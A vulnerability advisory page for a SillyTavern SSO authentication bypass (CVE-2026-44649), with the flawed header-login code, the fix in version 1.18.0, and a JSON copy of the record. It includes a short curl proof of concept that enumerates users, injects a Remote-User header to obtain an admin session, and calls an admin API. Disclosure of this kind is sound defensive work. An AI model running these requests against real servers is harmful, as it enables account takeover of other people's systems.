GHSA-GXX6-H3G6-VWJH

Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-06-09 10:32
VLAI
Summary
SillyTavern has Authentication Bypass via SSO Header Injection
Details

Resolution

SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.

Documentation: https://docs.sillytavern.app/administration/sso/

Summary

SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false).

Detials

SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the tryAutoLogin function (called on every request to /login) invokes headerUserLogin, which reads an HTTP header set by the upstream proxy and automatically creates an authenticated session for the matching user:

src/users.js:779-801:

async function headerUserLogin(request, header = 'Remote-User') {
    if (!request.session) { return false; }

    const remoteUser = request.get(header);  // reads any header from any client
    if (!remoteUser) { return false; }

    const userHandles = await getAllUserHandles();
    for (const userHandle of userHandles) {
        if (remoteUser.toLowerCase() === userHandle) {
            const user = await storage.getItem(toKey(userHandle));
            if (user && user.enabled) {
                request.session.handle = userHandle; 
                return true;
            }
        }
    }
    return false;
}

request.get(header) is Express's wrapper for req.headers[name.toLowerCase()]. Express does not distinguish between headers set by a trusted upstream proxy and headers injected by the end client. Without an IP allowlist check, any client can set Remote-User: and receive an authenticated session cookie.

User Enumeration Pre-Condition

The /api/users/list endpoint is registered before requireLoginMiddleware in src/server-main.js:236, making it publicly accessible without authentication:

src/server-main.js:236,239:

app.use('/api/users', usersPublicRouter);  // line 236 (public)
app.use(requireLoginMiddleware);           // line 239 (auth gate)

src/endpoints/users-public.js:26-57:

router.post('/list', async (_request, response) => {
    if (DISCREET_LOGIN) { return response.sendStatus(204); }
    const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags
});

This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials.

PoC

TARGET="http://localhost:8000"

# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'

# inject Remote-User header, receive authsession
curl -s -L \
  -H "Remote-User: admin-user" \
  -c /tmp/st-session.txt \
  "$TARGET/login"


# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

curl -s -X POST "$TARGET/api/users/admin/get" \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -b /tmp/st-session.txt \
  -d '{}'

Impact

An account takeover, allowing an attacker to do anything a legitimately authorized user can do.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-306",
      "CWE-346",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T22:23:30Z",
    "nvd_published_at": "2026-05-29T19:16:24Z",
    "severity": "CRITICAL"
  },
  "details": "## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user\u0027s needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = \u0027Remote-User\u0027) {\n    if (!request.session) { return false; }\n\n    const remoteUser = request.get(header);  // reads any header from any client\n    if (!remoteUser) { return false; }\n\n    const userHandles = await getAllUserHandles();\n    for (const userHandle of userHandles) {\n        if (remoteUser.toLowerCase() === userHandle) {\n            const user = await storage.getItem(toKey(userHandle));\n            if (user \u0026\u0026 user.enabled) {\n                request.session.handle = userHandle; \n                return true;\n            }\n        }\n    }\n    return false;\n}\n```\n\n`request.get(header)` is Express\u0027s wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use(\u0027/api/users\u0027, usersPublicRouter);  // line 236 (public)\napp.use(requireLoginMiddleware);           // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post(\u0027/list\u0027, async (_request, response) =\u003e {\n    if (DISCREET_LOGIN) { return response.sendStatus(204); }\n    const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n  -H \"Remote-User: admin-user\" \\\n  -c /tmp/st-session.txt \\\n  \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-CSRF-Token: $TOKEN\" \\\n  -b /tmp/st-session.txt \\\n  -d \u0027{}\u0027\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.",
  "id": "GHSA-gxx6-h3g6-vwjh",
  "modified": "2026-06-09T10:32:08Z",
  "published": "2026-05-12T22:23:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44649"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern has Authentication Bypass via SSO Header Injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…